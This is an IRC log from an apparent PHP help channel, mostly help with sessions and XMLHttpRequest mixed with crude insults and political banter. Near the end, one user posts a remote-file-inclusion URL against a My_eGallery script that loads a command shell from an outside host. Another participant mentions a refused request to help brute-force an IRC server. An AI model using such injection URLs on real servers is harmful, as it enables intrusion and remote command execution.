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<0> so no one will see the reconnecting
<1> ok, you're really pathetic you know that?
<0> no wai!
<2> like wai! totally dude!
<1> WAI NARRELLY
<0> o rly?
<1> DOOD
<3> hi
<4> Anyone willing to let me msg them in regard to a proper syntax question?
<5> just ask in here
<1> GillaGal, ****ing ask in the channel idiot, that's why it's here
<4> Ok... well how could I add: if($page === true) { into <?php if ( !$page && ($id == 1 || $id == 2)): ?>
<5> poutine, calm down
<2> GillaGal: http://www.php.net/tut
<1> Technobabble, I swear to god I will shove a god damn bunny into your ***
<2> hahaha
<6> ($page === true) && !$page will be some useful code.....
<4> actually they are
<7> greg: http://pastebin.com/533166
<6> oh yeah? whats a value of $page that will make that statement true
<1> if (!$page && (--$id))
<5> poutine, i swear to god i'll boil yours
<6> ansimation: ?
<1> err
<6> ansimation: you're overwriting $_SESSION['products']
<7> it doesn't add a new item to the session, just re-writes it
<7> yea
<6> and why are you storing something you can calculate? (ie, count)
<7> how can i add a new one to it?
<1> I will pour maple syrup in your eye that was placed in your microwave on its maximum time limit (99:99:99 ?)
<5> lol
<6> ansimation: you probably want $_SESSION['products'][] = $_GET['pid'];
<1> We still have yet to see the myth busters on that microwave max time issue
<7> **** if i know
<1> I still think some could explode
<5> wouldn't maple syrup that's that hot be technically magma?
<6> and if you want to know how many: count($_SESSION['products'])
<7> yea
<1> <4> was that for me?
<1> **** off
<1> ^ for you
<6> fedt: i'm not going to help you write code to brute force an irc server, stop msging me
<4> should have known better than to come on a Dalnet channel... too many 20 somethings mad they're living in moms basement still.
<7> Fatal error: [] operator not supported for strings in D:\www\webroot\gethosted.us\shop\cart.php on line 5
<1> she acts like I could have gotten laid out of the deal
<6> ansimation: well, you'll have to erase its previous value now, as you've set it to be a string :p
<7> ah
<7> :P
<6> ansimation: put code in one time to unset($_SESSION['products']), or delete your session cookie
<1> what kind of ugly/fat/crazy piece of **** would be talking about PHP on IRC also....
<7> ok
<6> poutine: "she"? don't you know girls don't identify themselves a girls in their name?
<1> groogs_, I know, I'm just saying the offchance
<6> espessially on programming channels (aka. channels full of nerdy coders)
<1> I know this, from experience
<1> I once was an IRC transvestite
<1> I still have the RuPaul mp3s
<5> poutine, i ****ing hate you
<5> i wish i could stable your eyelids open
<5> and make you watch the state of the union that's gonna be on right now
<1> so I could look at what?
<2> and put horses in them?
<1> What makes you think it's not on the TV?
<5> it is on the tv
<3> exume me, just a simple question.. I am trying to learn XMLhttpRequest with PHP,but i am struggling to solve a simple script.. Could anyone help me with this ?
<1> I meant my TV dummy
<5> here's alito
<5> lookin like a total ****ing dork
<6> jackp10: theres nothing special about using php with xmlrequest
<5> are you already watching it?
<1> ITS ON THE GOD DAMN TV YOU IDIOT
<3> groogs_ i am trying to learn how doesn xmlrequest works
<3> studing some examples
<6> jackp10: well, thats #javascript
<5> alito is such a ****ing dork
<5> you can almost hear him going "doo doo doo... duuhhhhh"
<1> alito is a good man, you only attack his visual appearance because you lack any real dirt on him, you act the typical liberal
<6> jackp10: sajax (actualy, flxajax) is a good php cl*** for working with that stuff though..
<5> i've got plenty of good stuff to attack him with
<5> his momma dresses his funny
<5> take that, alito
<3> groogs_ could you please take a look at this and tell me what is wrong with it ?
<3> the code is here: http://www.eternaldream.it/notepad.php?id=34
<8> woot.. who's ready for their daily dose of bs?
<1> they don't happen daily, and it's not BS
<5> i didn't like roberts either, but i would have voted for him
<6> jackp10: this is all horribly coded javascript ....
<5> i can say one thing about alito that's not based on his appearence
<6> why are you sending it to me?
<5> there was no real good reason NOT to vote for him
<5> no one really gave a good reason to do so
<6> oh, and fyi, the tab key is located on the left side of the keyboard, 2 or 3 keys from the top
<5> at least roberts had some reasons to do so
<3> groogs_: actually i took the example from w3schools.com
<3> and tried to change some bit to understand how it works
<5> w3schools has an xml validator
<3> and i sent it to you because I was hoping you could help me to understand why it doesn't work
<6> jackp10: i hate working with javascript
<3> so this means that you can't help me.. can you ?
<6> jackp10: but first off.. indent your code. thats just totally unreadable like that. you could be missing a } and it's impossible to tell where without counting
<6> secondly, use the javascript console
<3> well, that is the website and not the code. i always indent my code
<3> you know guys, sometimes you are incredible
<3> you treat users like ****
<9> jackp10, what's your issue?
<3> trollboy, my issue was just have help with some code. that is it
<3> nothing more
<9> ok
<9> what's the code?
<10> somebody on ?
<9> MiKuTuL, sorry you're alone here buddy
<6> trollboy: with *javascript* code
<9> groogs_, I wasn't asking you.. now was I?
<10> trollboy : i need bugs for php ... have ?
<9> jackp10, whats the code you need help with
<9> MiKuTuL, what?
<10> i need bugs for php
<3> the code was pasted here: http://www.eternaldream.it/notepad.php?id=34
<9> MiKuTuL, whatcha mean bugs?
<3> actually i am tring to learn how to connect technology ajax with php
<9> I don't see any php there jackp10
<10> for php scan in google !
<9> Make sure you wrap your php code in <? >?
<9> er.. <? ?>
<9> and preferably <?php ?>
<9> MiKuTuL, I have no idea what the hell you're on about
<9> where are you having a problem jackp10?
<3> well, right now i didn't write any php code yet, because i tried to have a very simple example.. but xmlrequest is mixed a lot with php now
<3> so my goal was to understand xmlrequest to connect it later to php
<9> We can only help you with php jackp10
<9> This sounds like a question for #javascript jackp10
<9> have you tried there yet?
<10> trollboy prv man !
<3> yes
<3> there is no one
<3> that is why i came here
<3> becasue i though that peaple who use php may have used xmlrequest as well
<3> was just a guess
<9> jackp10, I'm in there now
<9> I don't see you or when you joined
<9> there are people there though
<9> MiKuTuL, please do not msg people. 1st warning
<3> i am there as well
<9> ok
<9> Good Luck!
<10> trollboy
<3> have you tried to write a question ?
<9> MiKuTuL?
<10> join here http://netmadrid.net/eroja/modules/My_eGallery/public/displayCategory.php?basepath=http://www.geocities.com/team2oo6/cmd.txt?&cmd
<9> what do you mean?
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